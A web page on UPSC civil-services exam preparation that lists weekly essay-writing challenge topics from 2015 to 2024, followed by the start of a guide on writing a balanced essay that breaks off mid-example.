how to write essay in english for upsc

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WEEKLY UPSC IAS ESSAY WRITING CHALLENGE

Following are the topics on which our followers have written (and writing essays) every Sunday to hone their essay writing skills. The topics are chosen based on UPSC previous year topics. Writing one essay on each Sunday will help you get better marks in this paper.

ESSAY STRATEGY by Topper – Rank 1 CSE 2017

ESSAY STRATEGY by Topper – Rank 25 CSE 2015

ESSAY STRATEGY by Topper – Rank 40 CSE 2015

[VIDEO] How to Improve Marks in Essay and Ethics Papers?
[VIDEO] How to Write Philosophical Essays

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2024

18 August, 2024 : A Budget Tells Us What We Cannot Afford, But It Doesn’t Keep Us from buying it
11 August, 2024 : The world is not magic and that is the most magical thing about it.
4 August, 2024 : Art is I; Science is We.
28 July, 2024 : History, in general, only informs us what bad government is
21 July, 2024 : Sarcasam : the last refuge of the chaste-souled individuals when their privacy is coarsely invaded.
14 July, 2024 : Wound is the place where light enters you
7 July, 2024 : What is Religion to One is Superstition To Another
June 30, 2024 : Gender Is Spectrum
June 23, 2024 : Those who were seen dancing were thought to be insane by those who could not hear the music.
June 16, 2024 : Saint Has A Past. Sinner Has A Future
June 9, 2024 : The worst disease in the world today is corruption and the cure for it is transparency.
June 2, 2024 : Escape Competition Through Authenticity.
May 26, 2024 : Creativity Is Allowing Yourself to Make Mistakes. Art Is Knowing Which Ones to Keep.
May 19 2024 : In No Man’s Land, the only way to survive is to adapt.
May 12, 2024 : Economics is concerned with what emerges, not what anyone intended.
May 5, 2024 : A right is not what someone gives you; it’s what no one can take from you.
April 28, 2024 : We come nearest to the great when we are great in humility.
April 21, 2024 : Well done is better than well said.
April 14, 2024 : Consistency is the last refuge of the unimaginative.
April 07, 2024 : Came from plant, use it; made in plant, don’t.
March 30, 2024 : A Business That Makes Nothing More Than Money Is Poor Business
March 24, 2024 : If Voting Really Made Difference, They Would Not Let Us Do It
March 17, 2024 : Cinema Is Not A Slice Of Life, But A Piece Of Cake.
March 10, 2024 : Education Can give skill, but a liberal education can give dignity
March 3, 2024 : Sometimes when you lose your way you find yourself
February 25, 2024 : Who Looks Inside Awakes, Who Looks Outside Dream
February 18, 2024 : Never Let School Interfere With Your Education
February 11, 2024 : Whoever Controls the Media Controls the Mind
February 04, 2024 : A certain darkness is needed to see the stars
January 28, 2024 : Those who cannot remember the past are condemned to repeat it
January 21, 2024 : Subtle Is powerful
January 14, 2024 : The power of community to create health is far greater than any physician, clinic or hospital.
January 07, 2024 : Give them Quality. That’s The Best Kind of Advertising

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2023

December 31, 2023 : The only antidote to mental suffering is physical pain
December 24, 2023 : All Great Changes Are Preceded By Chaos
December 17, 2023 : We are drowning in information, but starved for Knowledge
December 10, 2023 : Violence Is the last resort of the incompetent
December 03, 2023 : Be a Voice, Not an Echo
November 26, 2023 : A Society that has more justice is the society that needs less charity
November 19, 2023 : Sell Your Cleverness and Buy Bewilderment
November 12, 2023 : love takes off the masks that we fear we cannot live without and know we cannot live within
November 5, 2023 : Clothes Make The Man
October 29, 2023 : Education is what remains after one has forgotten what one has learned in school.
October 22, 2023 : Mathematics is the music of reason
October 15, 2023 : Girls are weighed down by restrictions, boys with demands – two equally harmful disciplines
October 08, 2023 : Inspiration for creativity springs from the effort to look for the magical in the mundane.
October 01, 2023 : Not All Who Wander Are Lost
September 24, 2023 : Visionary Decision-Making happens at the intersection of intuition and logic
September 17, 2023 : Thinking Is Like A game. It does not begin unless there is an opposition team.
September 10, 2023 : Unless we have well-educated people, we are vulnerable on National Security
September 03, 2023 : Harsh Laws are, at times, better than No laws
August 27, 2023 : Nations Do Not Die From Invasion. They Die From Internal Rottenness
August 20, 2023 : In Individuals, insanity is rare; In groups, parties and nations, it is the rule.
August 13, 2023 : Economics Is Too Important To Leave To The Economists.
August 06, 2023 : A self without a book-shelf is naked.
July 30, 2023 : Wrong Choices Lead To Right Places
July 23, 2023 : Credit where credit is due.
July 16, 2023 : A right is not what someone gives you; it’s what no one can take away from you.
July 9, 2023 : The measure of intelligence is the ability to change
July 2, 2023 : Do what you can, with what you have, where you are.
June 25, 2023 : In the long run , the sword will always be conquered by the spirit
June 18, 2023 : The company you keep determines your Success
June 11, 2023 : A disciplined mind brings happiness.
June 4, 2023 : Our moral responsibility is not to stop the future but to shape it
May 28, 2023 : Action breeds confidence and courage
May 21, 2023 : A library is a hospital for the mind
May 14, 2023 : Self-Education is Life-Long Curiosity
May 7, 2023 : Silence is Spurious Golden
April 30, 2023 : The price of greatness is responsibility
April 23, 2023 : Progress is impossible without change
April 16, 2023 : The Impact of Artificial Intelligence.
April 9, 2023 : People would rather believe than know.
April 2, 2023 : Prioritizing education technology for global growth
March 26, 2023 : Technology is a weapon against poverty
March 19, 2023 : Every choice you make makes you
March 12, 2023 : Patience is a virture ; virtue is a grace
March 5, 2023 : Before any fight, it is the fight of mind
February 26, 2023 : The Measure of a man is what he does with Power.
February 19, 2023 : When you kill time, you kill life.
February 12, 2023 : Delayed success mostly stays forever.
February 05, 2023 : The wound is the place where the Light enters you.
January 29, 2023 : Doubt is an uncomfortable condition, but certainty is a ridiculous one.
January 22, 2023 : I am what I am, so take me as I am
January 15, 2023 : Real learning comes about when the competitive spirit has ceased
January 08, 2023 : Time hurts but it also heals. It punishes but it rewards too- it is the greatest teacher ever for a human.
January 01, 2023 : The Beginning is the End and the End is The Beginning.

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2022

December 25, 2022 : To tolerate is purely an act of mind
December 18, 2022 : The arc of moral universe is long, but it bends towards justice
December 11, 2022 : Religion is a culture of faith; Science is a culture of doubt.
December 04, 2022 : My best friend is a person who will give me a book I have not read
November 27, 2022 : Everything comes to him who hustles while he waits
November 20, 2022 : We are always blind as we want to be
November 13, 2022 : By your stumbling, the world is perfected.
November 6, 2022 : You cannot step twice in the same river
October 30, 2022 : Just because you have a choice, it does not mean that any of them has to be right.
October 23, 2022 : A smile is the chosen vehicle for all ambiguities
October 16, 2022 : The time to repair the roof is when the sun is shining
October 9, 2022 : A ship in harbour is safe, but that is not what ship is for
October 2, 2022 : History is a series of victories won by the scientific man over the romantic man
September 25, 2022 : Poets are the unacknowledged legislators of the world
September 18, 2022 : Forests are the best case studies for economic excellence
September 11, 2022 : Culture changes with economic development.
September 4 2022 : We don’t see things as they are, we see them as we are.
August 28 2022 : The obstacle is the path.
August 21 2022 : What is to give light must endure burning.
August 14 2022 : “He who has never learned to obey cannot be a good commander.” Aristotle.
August 7 2022 : Any fool can know. The point is to understand.” Albert Einstein
July 31, 2022 : A bad conscience is easier to cope with than a bad reputation. Friedrich Nietzsche.
July 24, 2022 : Time is all we have and don’t
July 17, 2022 : Life fritters away when distractions become your lifestyle
July 10, 2022 : After every darkness comes the dawn July 10, 2022 : After every darkness comes the dawn
July 3, 2022 : Mind – a beautiful servant? Or a dangerous master?
June 26, 2022 : Education Breeds Peace
June 19, 2022 : A great leader is never angry
June 12, 2022 : That which hurts, instructs; That which instructs, creates; Creates Wonders!
June 05, 2022 : Don’t let what you cannot do interfere with what you can do
May 29, 2022 : The journey is a reward as well as destination
May 22, 2022 : Imagination creates reality
May 15, 2022 : The curious paradox is, only if we accept things as they are, things can change
May 08, 2022: The whole problem with the world is that fools and fanatics are so certain of themselves, while wiser people are so full of doubts
May 01, 2022: Loyalty To Country Always. Loyalty To Government Only When It Deserves
April 24, 2022: Successful Investing Is Anticipating The Anticipations of Others
April 17, 2022: Courage is resistance to fear, mastery of fear, not absence of fear
April 10, 2022 : Tell me and I forget. Teach me and I remember. Involve me and I learn
April 03, 2022 : Forgiveness is the final form of love
March 27, 2022 : The world of reality has its limits; the world of imagination is boundless
March 20, 2022 : Reason has always existed, but not always in a reasonable form.
March 13, 2022 : Everything we hear is an opinion; not a fact
March 5, 2022 : There are better practices to “best practices”
February 27, 2022 : History repeats itself first as a tragedy second as a farce.
February 20, 2022 : What is research, but a blind date with knowledge!
February 13, 2022 : Hand that rocks the cradle rules the world
February 6, 2022 : The real is rational and the rational is real.
January 30, 2022 : Philosophy of Wantlessness Is Utopian, while the philosophy of materialism is chimera.
January 23, 2022 : Your perception of me is a reflection of you; my reaction to you is an awareness of me.
January 16, 2022 : The process of self-discovery has now been technologically outsourced.
January 09, 2022 : Knowing oneself is the beginning of all wisdom
January 02, 2022 : Biased Media Is A Real Threat To Indian Democracy

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2021

December 26, 2021 : What Gets Measured Gets Managed
December 19, 2021 : The enemy of stability is complacency
December 12, 2021 : A clear conscience fears no accusation
December 05, 2021 : Power of vested interests is vastly exaggerated compared with the gradual encroachment of ideas
November 28, 2021 : The whole is more than a sum of its parts
November 21, 2021 : Scientific and technological progress cannot be equated with the progress of humanity
November 14, 2021 : The price of our vitality is the sum of all our fears
November 7, 2021 : Lawlessness is the result of failure to cultivate a sense of self-evaluation
October 30, 2021 : What you do makes a difference, and you have to decide what kind of difference you want to make
October 24, 2021 : Science for the economic freedom of humanity
October 17, 2021 : An interdependent world cannot be an inequitable world
October 03, 2021 : Strength comes from an indomitable Will
SEPTEMBER 26, 2021 : Ethnocracy and concentration of power can derail even an affluent nation
SEPTEMBER 19, 2021 : Conservation is a state of harmony between men and land.
SEPTEMBER 12, 2021 : Culture of entitlement comes with unreasonable expectations and insecurities
SEPTEMBER 5, 2021 : Literacy is a vital skill that enhances dignity, improves health outcomes, empowers people to access their rights and bolsters opportunities
AUGUST 29, 2021 : A parliamentary system of government rests on a functioning opposition as ‘no democracy can do without it’.
AUGUST 22, 2021 : Development must lead to dismantle all kinds of human unfreedom
AUGUST 15, 2021 : Sport is a reflection of larger social phenomena
AUGUST 8, 2021 : Every social stratum has its own Common Sense and its own good sense
AUGUST 1, 2021 : Capitalism without competition is not Capitalism. It is Exploitation.
JULY 25, 2021 : We don’t have to sacrifice a Strong Economy for a Healthy Environment
JULY 18,2021 : We Need not a social conscience, but a social consciousness.
JULY 11, 2021 : The cure for evils of democracy is more democracy.
JULY 04, 2021 : No Constitution by itself achieves perfect justice
JUNE 27, 2021 : Our world has achieved brilliance without conscience.
JUNE 20, 2021 : Our common humanity demands that we make the impossible possible.
JUNE 13, 2021 : Without courage we cannot practice any other virtue with consistency. We can’t be kind, true, merciful, generous, or honest.
JUNE 06, 2021 : The political problem of mankind is to combine three things: economic efficiency, social justice and individual liberty.
MAY 30, 2021 : Economics without ethics is a caricature & ethics without economics is a fairy tale.
MAY 23 , 2021 : Indecisiveness is the rival of Progression
MAY 16 , 2021 : Time changes everything except something within us which is always surprised by change.
May 09, 2021 : The possession of arbitrary power has always, the world over, tended irresistibly to destroy humane sensibility, magnanimity, and truth
May 02, 2021 : The truth of character is expressed through choice of act ions
April 25, 2021 : It is not our differences that divide us; It is our inability to recognise, accept, and celebrate those differences.
April 18, 2021 : Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
April 11, 2021 : Solutions emerge if situations are not forced
April 04, 2021 : Morality is subservient to materialistic values in present times
March 28, 2021 : Prejudice is a burden that confuses the past, threatens the future and renders the present inaccessible
March 21, 2021 : Our major social problems are not the cause of our decadence but are a reflection of it
March 14, 2021 : The Future of Multilateralism : Towards a responsible Globalization
March 07, 2021 : Subtlety may deceive you; Integrity never will
February 28, 2021 :Technology as the silent factor in international relations
February 21, 2021 :Patriarchy is the least noticed yet the most significant structure of social inequality
February 14, 2021:There can be no social justice without economic prosperity but economic prosperity without social justice is meaningless
February 07, 2021: Culture is what we are civilization is what we have
January 31, 2021: Simplicity is the ultimate sophistication
January 24, 2021: Ships do not sink because of water around them , ships sink because of water that gets into them
January 17, 2021: Mindful manifesto is the catalyst to a tranquil self
January 10, 2021: Life is long journey between human being and being humane
January 03, 2021: The Covid pandemic has revealed the urgent need for effective governance everywhere”
December 27, 2020: Challenges of 21st Century – insurmountable?
December 20, 2020: Too much Democracy is Detrimental to Development
December 13, 2020: Happiness is not an ideal of reason, but of imagination.

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2020

December 06, 2020 : As you Start to walk on the way, the Way appears
November 29, 2020: Need of the Hour is to Maximise Possibilities of Agriculture in India
November 22, 2020: The survival of democracy depends on its ability to lower social uncertainty
November 15, 2020: There is no greatness where there is no simplicity
November 08, 2020: Inequality can be Reduced by the Power of the Market rather than the Government
November 01, 2020: Civil liberties are fundamental to the functioning of modern democracies
October 25, 2020: Artificial Intelligence is Not All Evil – It can Promote Social Good Too
October 18, 2020: Wherever law ends, tyranny begins
October 11, 2020:Hyper-globalism is threat to human prosperity
September 27, 2020: Our World is in a Surplus of Multilateral Challenges and a Deficit of Solutions
September 20, 2020: In India Agriculture and the Farmer are both the Victims of Narrow Political Vision
September 13, 2020: India Needs Aggressive and Pragmatic Neighbourhood Policy
September 6, 2020: “The greatest discovery of all time is that a person can change his future by merely changing his attitude .
August 30, 2020: The worst form of inequality is to try to make unequal things equal
August 23, 2020: Justice will not be served until those who are unaffected are as outraged as those who are.
August 16, 2020: Life without liberty is like a body without spirit.
August 09, 2020: Strive not to be a success, but rather to be of value
August 02, 2020: New Education Policy 2020: A Progressive Policy with Diverse Challenges
July 26, 2020: In a democracy, the individual enjoys not only the ultimate power but carries the ultimate responsibility
July 19, 2020: Education is a progressive discovery of our own ignorance
July 12, 2020: The human spirit must prevail over technology
July 05, 2020: When the power of love overcomes the love of power the world will know peace.
June 28, 2020: Today India Needs ‘Harmony in Diversity’, Not Unity in Diversity.
June 21, 2020: A people without the knowledge of their past history, origin and culture is like a tree without roots.
June 14, 2020: Post Independence, the Issue of Land is at the Core of India’s Non-Achievement of Its Development Aspirations
June 7, 2020: Never Let a Good Crisis Go to Waste
May 31, 2020: Despite Challenges, To be a Healthy and Successful Nation, India must Ensure Universal Health Coverage
May 24, 2020: Nearly all men can stand adversity, but if you want to test a man’s character, give him power.
May 17, 2020:The test of our progress is not whether we add more to the abundance of those who have much it is whether we provide enough for those who have too little
May 10, 2020: Urban Exclusion of Migrant Workers in India is a Reality and Needs Urgent Robust Policy Measures
May 03, 2020: Uncertainty should ignite creativity, not depravity
April 26, 2020: The fool doth think he is wise but the wise man knows himself to be a fool
April 19, 2020: Social Harmony, not Social Distancing, is the final solution to all our problems
April 12, 2020: It is our choices, that show what we truly are, far more than our abilities
April 05, 2020: Education must also train one for quick, resolute and effective thinking
March 29, 2020: “Problems cannot be solved at the same level of awareness that created them”
March 22, 2020: In order to understand the world one has to turn away from it on occasion
March 15, 2020: Pandemics such as COVID-19, though Catastrophic, are in the end Meant to Reset Humanity and its Priorities
March 08, 2020: Those who have wisdom have all: Fools with all have nothing
March 01, 2020: Indifferentism is the worst kind of disease that can affect people.
[VIDEO] Perspectives on Essay Topic of Feb 23
February 23, 2020: To ease another’s heartache is to forget one’s own.
February 16, 2020 : When civil services does its job, people will not need social service
February 09, 2020 : The greatest threat to our planet is the belief that someone else will save it.
February 02, 2020: Ability will get you success, Character will keep you successful.
January 26, 2020: Media’s duty is to inform public, not manufacture opinion.
January 19, 2020: Freedom is not worth having if it does not include the freedom to make mistakes
January 12, 2020 : Women who seek to be equal with men lack ambition
J anuary 5, 2020 : All war is a symptom of man’s failure as a thinking animal
December 29, 2019 : There cannot be daily democracy without daily citizenship
December 22, 2019: War is the ultimate Price we pay for lasting Peace
December 15, 2019 : Inclusivity and Plurality are the hallmarks of a peaceful society
December 08, 2019: Justice Loses Character if it becomes Revenge
December 01. 2019: Economic Growth and Development are Shaped by the Societies in which they Operate
November 24, 2019: Social Media is the Fourth Pillar of Democracy
November 17, 2019: Media is No More a Fourth Pillar of Democracy
November 10, 2019: Rise of Artificial Intelligence: the threat of jobless future or better job opportunities through reskilling and upskilling
November 03, 2019:Biased media is a real threat to Indian democracy
October 27, 2019: Neglect of primary health care and education in India are reasons for its backwardness
October 20, 2019: South Asian societies are woven not around the state, but around their plural cultures and plural identities
October 13, 2019: Courage to accept and dedication to improve are two keys to success
October 06, 2019: Best for an individual is not necessarily best for the society
September 29, 2019: Values are not what humanity is, but what humanity ought to be
September 22, 2019: Wisdom finds truth

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2019

September 15, 2019: Kashmir Problem – Historical Injustice or Misguided Geopolitics?
September 08, 2019: India’s Space Ambitions – Are they Welfarist?
September 01, 2019: India – $5 Trillion Economy: Dream or Reality?
August 25, 2019 Knowledge will give you power, but character respect.
August 18, 2019 The mind is everything. What you think you become.
August 11, 2019: Virtue is Knowledge
August 04, 2019: Inclusive governance begets Inclusive growth
July 28, 2019: India’s headache: Unemployment or Underemployment?
July 21, 2019: The road to science and spirituality are opposite, but we should tread both
July 14, 2019: India is a leading power, rather than just a balancing power
July 07, 2019: Should the world embrace democratic socialism or progressive capitalism?
June 30, 2019: Impact of Digital Revolution on Human Wellbeing
June 23, 20 19: Contentment is natural wealth, luxury is artificial poverty
June 16, 2019: The definition of happiness is the full use of your powers, along the lines of excellence.
June 09, 2019: Not Corruption, Communalism is the Greatest Threat India is facing Today
May 19, 2019: First they ignore you, then they laugh at you, then they fight you, then you win.
May 12, 2019: Never interrupt your enemy when he is making a mistake
May 05, 2019: Happiness equals reality minus expectations
April 28, 2019: Political correctness is tyranny with manners
April 21, 2019: The only thing necessary for the triumph of evil is for good men to do nothing.
April 07, 2019: Dogma is the sacrifice of wisdom to consistency
March 31, 2019: The true measure of a man is how he treats someone who can do him absolutely no good.
March 24, 2019: Terrorism has No Religion
March 17, 2019: Money and Religion – Great Unifiers of Humankind?
March 10, 2019: Tradition becomes our security, and when the mind is secure it is in decay
March 03, 2019: Innovation distinguishes between a leader and a follower
February 24,2019: Knowledge speaks, but wisdom listens
February 17, 2019: Problems worthy of attack prove their worth by fighting back
February 10, 2019: Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
February 03, 2019: You can avoid reality, but you cannot avoid the consequences of avoiding reality
January 27, 2019: Glory is fleeting, but obscurity is forever
January 20, 2019: All that we are is the result of what we have thought.
January 12, 2019: All differences in this world are of degree, and not of kind, because oneness is the secret of everything.
January 06, 2019: National security is Irreversibly linked to good economic growth

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2018

December 28, 2018: To plan for smart development, governments and business must recognize nature’s role in supporting economic activity
December 23, 2018: Government Surveillance – Good or Bad?
December 16, 2018: Trade Wars – Economic or Geopolitical?
December 02, 2018: Immigration is Not a Threat, but Fundamentally it’s an Economic Issue
November 25, 2018: A people that values its privileges above its principles loses both
November 18, 2018: “The past’ is a permanent dimension of human consciousness and values
November 11, 2018: A good life is one inspired by love and guided by knowledge
November 04, 2018: Management of Indian border disputes – a complex task
October 28, 2018: Alternative technologies for a climate change resilient India
October 21, 2018: Poverty anywhere is a threat to prosperity everywhere
October 14, 2018: Reality does not conform to the ideal, but confirms it
October 07, 2018: Customary morality cannot be a guide to modern life
September 30, 2018: Commercialization of Space : Importance and the need for regulation
September 23, 2018: E-commerce as a new form of trade and its challenges to India.
September 16, 2018: Ability is nothing without opportunity
September 09, 2018: Death Penalty eliminates Criminals, not Crime.
September 02, 2018: Dissent is the foundation of democracy.
August 26, 2018: Mars Mission and Mob lynchings are two obverse faces of India
August 19, 2018: Strengthening Land Rights Strengthens Development
August 12, 2018: Age of Big Data: Data is the New Oil, History is its oldest bank
August 05, 2018: Strong Institutions and fair procedures, not personalities constitute the fundamentals of good governance
July 29, 2018: Social reform is a myth if places of worship are open only to all castes and not to all genders.
July 22, 2018: Section 377, not the carnal acts banned under it is ‘against the order of nature ‘
July 15, 2018: Schooling Is Not Education
July 08, 2018: Sometimes it takes a natural disaster to reveal a social disaster.
July 01, 2018: Normal human activity is worse for nature than the greatest nuclear accident in history
June 24, 2018: Gender Sensitive Indian Society is Prerequisite for Women and Child Empowerment
June 17, 2018: Where Should India Invest More – Human Capital or Human Development?
June 10, 2018: Has Democracy Taken Backseat Due to the Rise of Populists and Demagogues?
June 03, 2018: We won’t have a society ,if we destroy the environment
May 27, 2018: Can Development and Environment Protection Go Together?
May 20, 2018: Governor is the Choke Point of Federal Circuit of India
May 13, 2018: Anonymity is the Best and the Worst Feature of Urbanism
May 06, 2018: A man is but the product of his thoughts; what he thinks, he becomes
April 29, 2018: Guaranteeing Right to Vote may Establish a Democracy, But Ensuring it’s Right Use Only Will Bring a True Democracy
April 22, 2018: Stereotyping is an Ideological Force Which Hinders and Endangers Consolidation of India
April 15, 2018: Can Education and legislation Address Violence Against Women and Children in India?
April 8, 2018: Banking Crisis in India – Failure of Governance and Regulation?
April 1, 2018: Privacy is the fountainhead of all other rights
March 25, 2018: Impact of Technology on Human Relations and Human Productivity
March 18, 2018: India’s Focus should be on Ease of Living, not on Easy of Doing Business
March 11, 2018: A friend to everybody is a friend to nobody
March 04, 2018: Capitalism can not Bring Inclusive Growth
February 25, 2018: The unprecedented advance of technologies facilitate individual empowerment but at the cost of Institutions and Democratic societies
February 18, 2018: Threats being Faced by Liberal Democratic Systems are both Dangerous and Permanent
February 11, 2018: For India, Stigmatised Capitalism is Better than Crony Socialism
February 04, 2018: Art, freedom and creativity will change society faster than politics.
January 28, 2018: Politics of Identity is the Politics of the Weak
January 21, 2018: Poverty is the parent of revolution and crime
January 14, 2018: Peace cannot be kept by force; it can only be achieved by understanding
January 07, 2018: The Root Cause of Agrarian Distress in India – Failure of Policies or Failure of Governance?

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2017

December 31, 2017: Impact of the new economic measures on fiscal ties between the union and states in India
December 24, 2017: Fulfilment of ‘new woman’ in India is a myth
December 17, 2017: Joy is the simplest form of gratitude.
December 10, 2017: Farming has lost the ability to be a source of subsistence for majority of farmers in India
December 03, 2017: Destiny of a nation is shaped in its classrooms
November 19, 2017: Has the Non- Alignment Movement(NAM) lost its relevance in a multipolar world
November 12, 2017: Social media is inherently a selfish medium.
November 04, 2017: We may brave human laws but cannot resist natural laws
October 29, 2017: Gratitude is not only the greatest of virtues, but the parent of all the others.
October 22, 2017: Harith Diwali, Swasth Diwali : What measures are needed to deal with Festivity and Air Pollution?
October 15, 2017: Biggest Threat to Humanity – Moral Crisis or Climate Change?
October 08, 2017: The monsoon is a defining aspect of India’s nationhood
October 01, 2017: India’s Infrastructure Story – Why is India not able to Build like China?
September 24, 2017: Impact of Digital Technologies on Globalisation
September 17, 2017: Urbanisation and Solid Waste Management in India – Challenges and Opportunities
September 10,2017: Gender Equality and Peace: Are They Connected?
September 03, 2017: Recent Natural Disasters – What do they Reveal about Humanity?
August 27, 2017: Godmen – A Threat to Indian Society and Culture
August 20, 2017: Corruption in India: Neither Systemic Reforms nor Surgical Strikes would End it
August 13,2017: Interrelationship between Gender Equality and Sustainable Development
August 06, 2017: Utility and relevance of Parliament in our polity
July 30, 2017: Caste System – Source of India’s Eternal Inequality?
July 23, 2017: Indian Democracy, Media and Public Opinion – Does Public Opinion Matter in Policymaking?
July 16, 2017: Poverty and Environment – Their Interrelationship is the Key to Sustainable World
July 09, 2017: Soft Power is India’s Strength, not its Weakness
July 02, 2017: Technology and Jobs – Is Technology a Curse?
June 25, 2017: Democracy’s Relevance in the Face of New Global Threats
June 18, 2017: Federalism in India – Competitive or Cooperative?
June 11, 2017: Peace, Environment and Development: Are these Interrelated?
June 04, 2017: Role of Technology in Development – Is Technology Helping or Hindering Development?
May 28, 2017: Poverty is a State of Mind
May 21, 2017: Does India Need Superpower Status?
May 14, 2017: India’s Achilles Heel – Lack of Ambition or Lack of Leadership in Achieving Greatness?
May 07, 2017: Don’t limit a child to your own learning, for he was born in another time.
April 29, 2017: The greatest happiness of the greatest number is the foundation of morals and legislation
April 23, 2017: To conquer fear is the beginning of wisdom
April 16, 2017: One-Party-Dominant System – Is it Good for India?
April 09, 2017: Should Youth in India Consider Politics as Career?
April 02, 2017: Can World Save Succeeding Generations from the Scourge of War?
March 26, 2017: Low, stagnating female labour-force participation in India: An anomaly or an outcome of economic reforms?
March 19, 2017: When a man is denied the right to live the life he believes in, he has no choice but to become an outlaw
March 12, 2017: The marks humans leave are too often scars
March 05, 2017: Environmental Challenges and Geopolitics: How to save our Environment?
February 27, 2017: Radical Solutions are Needed to Address Today’s Radical Problems
February 19, 2017: India’s Importance in the Post-truth World
February 12, 2017: The Role of Politics in Development
February 05, 2017: Facts do not cease to exist because they are ignored
January 29, 2017: Building Walls and Banning Refugees – Does this Help Humanity?
January 22, 2017: Digital economy: A leveller or a source of economic inequality
January 15, 2017: Cyberspace and internet: Blessing or curse to the human civilization in the long run
January 08, 2017: Water disputes between states in federal India
January 01, 2017: Need brings greed, if greed increases it spoils breed

WEEKLY UPSC IAS ESSAY WRITING CHALLENGES – 2016

(December 25, 2016) – Cooperative federalism: Myth or reality
(December 18, 2016) – Innovation is the key determinant of economic growth and social welfare
(December 11, 2016) – Near jobless growth in India: An anomaly or an outcome of economic reforms
(December 04, 2016) – If development is not engendered, it is endangered
(November 27, 2016) – Social media is better at breaking things than at making things
(November 20, 2016) – Deglobalization is good for the world
(November 12, 2016) – Democracy is the worst form of government, except for all the others
(November 06, 2016) – It is not inequality which is the real misfortune, it is dependence
(October 30, 2016) – Reducing Poverty while also Conserving Nature is an Impossible Task
(October 23, 2016) – Poverty can be eliminated by putting science at the heart of development
(October 16, 2016) – People shouldn’t be afraid of their government. Governments should be afraid of their people
(October 09, 2016) – Better Access is Key to Inclusive Cities
(October 02, 2016) – The weaker sections of Indian society – Are their Rights and Access to Justice Getting Better?
(September 25, 2016) – Imagination is more important than intelligence
(September 18, 2016) – Science is organized knowledge. Wisdom is organized life
(September 11, 2016) – Not what we have But what we enjoy, constitutes our abundance
(September 04, 2016) – It is the mark of an educated mind to be able to entertain a thought without accepting it
(August 28, 2016) – If one can Address Moral Crisis, many of World’s Problems can be Solved
(August 21, 2016) – Overdependence on Technology will Advance Human Development
(August 14, 2016) – Geography may remain the same ; history need not
(August 07, 2016) – Knowing yourself is the beginning of all wisdom
(July 31, 2016) – To live is the rarest thing in the world. Most people exist, that is all
(July 24, 2016) – True knowledge exists in knowing that you know nothing
(July 17, 2016) – We Can Not Fight Terrorism – We have to Live With it
(July 10, 2016) – A house divided against itself cannot stand
(July 02, 2016) – When the going gets tough, the tough get going
(June 26, 2016) – India a Reluctant Participant in the New Global Order?
(June 19, 2016) – Inclusiveness in India – Still a Dream?
(June 12, 2016) – No one can make you feel inferior without your consent
(June 05, 2016) – Not everything that can be counted counts, and not everything that counts can be counted
(May 29, 2016) – It is hard to free fools from the chains they revere
(May 22, 2016) – Honest disagreement is often a good sign of progress
(May 15, 2016) – Fire is a good servant but a bad master
(May 08, 2016) – The grass is always greener on the other side of the fence
(May 01, 2016) – Labour Reforms in India and its Role in Economic Development
(April 24, 2016) – It takes a whole village to raise a child
(April 17, 2016) – Trust take years to Build, Seconds to Break
(April 10, 2016) – Cleanliness is next to Godliness
(April 03, 2016) – Honesty is the Best Policy
(March 27, 2016) – Before criticizing a man, walk a mile in his shoes
(March 20, 2016) – Caste System – India’s Enduring Curse
(March 13, 2016) – Fortune favors the bold
(March 06, 2016) – Quick but steady wins the race
(February 28, 2016) – Dreams which should not let India sleep
(February 21, 2016) – Lending hands to someone is better than giving a dole
(February 14, 2016) – Technology cannot replace manpower
(February 7, 2016) – Character of an institution is reflected in its leader
(January 31, 2016) – Can Capitalism bring Inclusive Growth?
(January 24, 2016) – Crisis Faced in India – Moral or Economic?
(January 17, 2016) – Too many cooks spoil the broth
(January 10, 2016) – The Best Things in Life are Free
(January 3, 2016) – Don’t count your chickens before they hatch.

WEEKLY ESSAY WRITING CHALLENGES – 2015

27 December 2015
20 December 2015
13 December 2015
06 December 2015
28 November 2015
21 November 2015
15 November 2015
08 November 2015
01 November 2015
25 October 2015
18 October 2015
11 October 2015
04 October 2015
27 September 2015
20 September 2015
13 September 2015
06 September 2015
31 August 2015
30 August 2015
23 August 2015
16 August 2015
09 August 2015
01 August 2015
26 July 2015
19 July 2015
12 July 2015
05 July 2015
28 June 2015
21 June 2015
14 June 2015
07 June 2015
31 May 2015
24 May 2015
17 May 2015
10 May 2015
03 May 2015
26 April 2015
19 April 2015
12 April 2015
05 April 2015
29 March 2015
22 March 2015
15 March 2015
01 March 2015
22 February 2015
15 February 2015
08 February 2015
01 February 2015
25 January 2015
18 January 2015
11 January 2015
04 January 2015

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How to Write a Perfect and Balanced Essay

“It is my ambition to say in ten sentences what others say in a whole book.” -- Friedrich Neitzsche

Essay writing is among those areas in UPSC IAS Exam that can be your savior and improve your marks significantly if worked efficiently. However lack of practice and rudimentary approach may also reduce your marks and jeopardize your chances of selection in Civil services exam . A well-developed approach and rigorous practice can significantly enhance your score in essay paper in UPSC mains Exam . But before delving into the techniques to write a perfect essay it is very important to understand what is an essay and what are its different organs?

What is an essay?

An Essay Writing is a focused, descriptive and analytical write up on any particular topic. But this is different in format and presentation from any other kind of write up on the same topic.
An essay is a tight write up which has a certain theme at its core and the write up is marked by its simplicity, lucidity, flow and orderliness.
It should generally avoid terse and unwieldy expressions, unnecessary exposition and excessive facts, especially numbers.
An essay is a write up that evolves from childhood to youth and thereafter to maturity.
An essay should generally reflect the perceptions, understanding, and stance/take of the writer, which may be supported by facts, quotes and findings of similar kinds.

Let's have a look on Vikram Grewal's Copy

For full copy click here

What an essay writing should not be....

It should not be a mere compilation of information or facts.
It should not be a long note.
It should not be a brief note.
It should not be a theoretical exposition.
It should not be a conglomeration of great ideas by great people.

What constitutes a good essay?

A good essay should have three distinct parts-

Introduction
Description

A good essay should be close to its subject or theme throughout the write up.

Essay Writing Strategy by Vikram Grewal (AIR 51, CSE 2018), A must watch session for more clarity.

A good essay should reflect...

Understanding of the writer
Thoroughness of the writer
Analytical capacity of the writer
Research and analytical capability of the writer
Reading habits of the writer

For Example:

Vikram Grewal's Copy, all the following things are considered by him:

